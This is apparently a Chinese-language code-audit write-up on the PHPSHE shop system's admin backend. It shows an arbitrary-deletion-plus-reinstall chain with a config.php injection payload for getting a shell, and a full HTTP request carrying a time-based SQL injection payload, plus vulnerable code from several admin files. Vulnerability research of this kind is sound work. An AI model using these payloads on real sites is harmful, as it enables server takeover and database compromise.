在审这个的时候我先过了一遍1.6版本的代码,然后又根据改动来审1.7的,发现了一些问题。

后台任意文件删除 & 重装GETSHELL

首先在后台

然后这里并没有对$_g_dbname进行处理直接进入pe_dirdel函数,跟进看一下

直接删除install.lock文件,然后看一下重装install.php代码

1
2
3
4
5
6
if ($result) {
$db->query("update `{$_p_dbpre}admin` set `admin_name` = '{$_p_admin_name}', `admin_pw` = '".md5($_p_admin_pw)."' where `admin_id`=1", $dbconn);
$config = "<?php\n\$pe['db_host'] = '{$_p_db_host}'; //数据库主机地址\n\$pe['db_name'] = '{$_p_db_name}'; //数据库名称\n\$pe['db_user'] = '{$_p_db_user}'; //数据库用户名\n\$pe['db_pw'] = '{$_p_db_pw}'; //数据库密码\n\$pe['db_coding'] = 'utf8';\n\$pe['url_model'] = 'pathinfo_safe'; //url模式,可选项(pathinfo/pathinfo_safe/php)\ndefine('dbpre','{$_p_dbpre}'); //数据库表前缀\n?>";
file_put_contents("{$pe['path_root']}config.php", $config);
pe_goto("{$pe['host_root']}install/index.php?step=success");
}

直接写入,构造payload:

1
';phpinfo();'

后台多处延时注入

漏洞点在

看代码admin/user.php

1
2
3
4
5
6
7
8
9
case 'del':
pe_token_match();
if ($db->pe_delete('user', array('user_id'=>is_array($_p_user_id) ? $_p_user_id : intval($_g_id)))) {
pe_success('会员删除成功!');
}
else {
pe_error('会员删除失败...');
}
break;

发现如果一次删除一个的话会进行intval处理,如果是批量删除的话会直接代入语句,构造payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /phpshe/admin.php?mod=user&act=del&token=d52aa9e11515574f774c9da971a4ae10 HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Referer: http://www.test.com/fiyocms/
Cookie: PHPSESSID=2j08sefmgofettspbuso00fs07
Connection: keep-alive
Upgrade-Insecure-Requests: 1
checkall=on&user_id%5B%5D=2') and if(1,sleep(5),1)#

另外的出现此类情况的代码admin/userbank.php

1
2
3
4
5
6
7
8
9
10
case 'del':
pe_token_match();
$userbank_id = is_array($_p_userbank_id) ? $_p_userbank_id : $_g_id;
if ($db->pe_delete('userbank', array('userbank_id'=>$userbank_id))) {
pe_success('删除成功!');
}
else {
pe_error('删除失败...');
}
break;

admin/userlevel.php

1
2
3
4
5
6
7
8
9
10
11
12
case 'del':
pe_token_match();
$userlevel_id = is_array($_p_userlevel_id) ? $_p_userlevel_id : intval($_g_id);
if ($db->pe_delete('userlevel', array('userlevel_id'=>$userlevel_id))) {
cache_write('userlevel');
userlevel_callback();
pe_success('删除成功!');
}
else {
pe_error('删除失败...');
}
break;

admin/ad.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
case 'del':
pe_token_match();
$ad_id = is_array($_p_ad_id) ? $_p_ad_id : intval($_g_id);
if ($db->pe_delete('ad', array('ad_id'=>$ad_id))) {
cache_write('ad');
pe_success('删除成功!');
}
else {
pe_error('删除失败...');
}
break;
//####################// 广告状态 //####################//
case 'state':
pe_token_match();
$ad_id = is_array($_p_ad_id) ? $_p_ad_id : intval($_g_id);
if ($db->pe_update('ad', array('ad_id'=>$ad_id), array('ad_state'=>$_g_state))) {
cache_write('ad');
pe_success("操作成功!");
}
else {
pe_error("操作失败...");
}
break;
//####################// 广告列表 //####################//
default :
$_g_type && $sql_where .= " and `ad_type` = '{$_g_type}'";
$_g_position && $sql_where .= " and `ad_position` = '{$_g_position}'";
$sql_where .= " order by `ad_order` asc, `ad_id` desc";
$info_list = $db->pe_selectall('ad', $sql_where, '*', array(20, $_g_page));

现在我找一例进行验证:

如果有目标环境有权限的话我们可以进行读文件或者是写文件来getshell。